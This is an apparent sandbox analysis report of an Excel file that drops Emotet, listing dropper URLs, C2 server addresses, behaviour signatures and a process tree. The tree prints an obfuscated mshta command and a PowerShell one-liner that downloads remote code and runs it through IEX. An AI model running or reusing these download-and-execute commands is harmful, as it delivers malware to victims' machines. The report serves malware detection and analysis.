Analysis

  • max time kernel
    118s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    18/01/2022, 12:28

General

  • Target
    9c1610254fa85467bb789843034ef6d6.xls
  • Size 128KB
  • Sample220118-pncd5abcbq
  • SHA256 1779463f218d2d34d1f5c91c10f22ad041cdb7d11213e32e99dcbfb02b72ee02
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/cc.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/PP91.PNG

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9c1610254fa85467bb789843034ef6d6.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3856
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3276
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3716
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3092
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:564
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:620
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jhgkmgrld\mdeblrlrdvtaprg.bwo",pjmsJzb
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:4040
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jhgkmgrld\mdeblrlrdvtaprg.bwo",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1372
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2476 -s 1728
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1884
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 356 -p 2476 -ip 2476
    1⤵
    • Suspicious use of NtCreateProcessExOtherParentProcess
    • Suspicious use of WriteProcessMemory
    PID:3768

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/620-648-0x00000000050D0000-0x00000000050F6000-memory.dmp

        memory/620-644-0x0000000004E50000-0x0000000004E76000-memory.dmp

        memory/620-642-0x0000000004DF0000-0x0000000004E16000-memory.dmp

        memory/620-638-0x00000000049F0000-0x0000000004A16000-memory.dmp

        memory/1372-654-0x0000000004EF0000-0x0000000004F16000-memory.dmp

        memory/1372-652-0x00000000049B0000-0x00000000049D6000-memory.dmp

        memory/1372-666-0x0000000005630000-0x0000000005656000-memory.dmp

        memory/1372-664-0x0000000005550000-0x0000000005576000-memory.dmp

        memory/1372-662-0x0000000005420000-0x0000000005446000-memory.dmp

        memory/1372-660-0x0000000005320000-0x0000000005346000-memory.dmp

        memory/1372-658-0x0000000005240000-0x0000000005266000-memory.dmp

        memory/3716-222-0x00000192B5260000-0x00000192B52A4000-memory.dmp

        memory/3716-193-0x00000192B4D03000-0x00000192B4D05000-memory.dmp

        memory/3716-191-0x00000192B4D00000-0x00000192B4D02000-memory.dmp

        memory/3716-168-0x000001929CA80000-0x000001929CAA2000-memory.dmp

        memory/3716-635-0x00000192B5330000-0x00000192B53A6000-memory.dmp

        memory/3716-196-0x00000192B4D06000-0x00000192B4D08000-memory.dmp

        memory/3856-138-0x00007FFB374C0000-0x00007FFB374D0000-memory.dmp

        memory/3856-131-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/3856-130-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/3856-132-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/3856-133-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/3856-134-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/3856-137-0x00007FFB374C0000-0x00007FFB374D0000-memory.dmp

        memory/3856-688-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/3856-689-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/3856-690-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/3856-691-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

        memory/4040-647-0x0000000002A50000-0x0000000002A76000-memory.dmp